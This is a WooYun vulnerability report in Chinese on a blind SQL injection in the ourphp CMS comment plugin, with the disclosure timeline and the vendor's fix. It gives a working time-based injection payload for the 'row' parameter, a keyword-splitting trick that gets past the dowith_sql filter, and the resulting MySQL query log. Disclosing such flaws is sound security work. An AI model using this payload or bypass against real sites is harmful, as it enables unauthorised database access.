漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0149584
漏洞标题:ourphp最新版sql盲注#1
相关厂商:ourphp.net
漏洞作者: 不能忍
提交时间:2015-10-27 12:22
修复时间:2015-12-17 14:48
公开时间:2015-12-17 14:48
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:11
漏洞状态:厂商已经修复
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-31: 厂商已经确认,细节仅向厂商公开
2015-12-17: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
感谢@xser大牛
详细说明:
漏洞文件:/function/plugs/Comment/product-content.php
由于文件比较大,代码比较多,我就只贴了关键的代码。
这上面是获取参数的代码,下面来看看进库:
$OP_Class这个是没戏了,$OP_Type这个过不了addslashes,$OP_Row这个被一个dowith_sql的函数保护着,我们来看看dowith_sql函数:
这个绕过是xser大牛告诉我的,其实也很简单,就是没想到。
注意这两行:
根据这两行可以构造出payload:
row=10 PROCEDURE analyse((sel||ect extractvalue(ran||d(),concat(0x3a,(IF(SUBSTRING(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
这样去掉||后还是能够正常注入的,而且还绕过了这个函数。
由于不回显,所以这里只能盲注了。
利用方法可以参考p牛之前发的一篇文章(作者好像是一个老外,不过p牛那边有更详细的,而且还是中文捏!)
漏洞证明:
看看mysql监控:
2015/10/26 16:28 select * from `ourphp_comment` where OP_Class = 8 && OP_Type = 'productview' order by time desc LIMIT 0,10 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(SUBSTRING(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
修复方案:
版权声明:转载请注明来源 不能忍@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2015-10-31 15:04
厂商回复:
谢谢
最新状态:
2016-01-29:v1.5.0以修复此BUG 谢谢作者 感谢您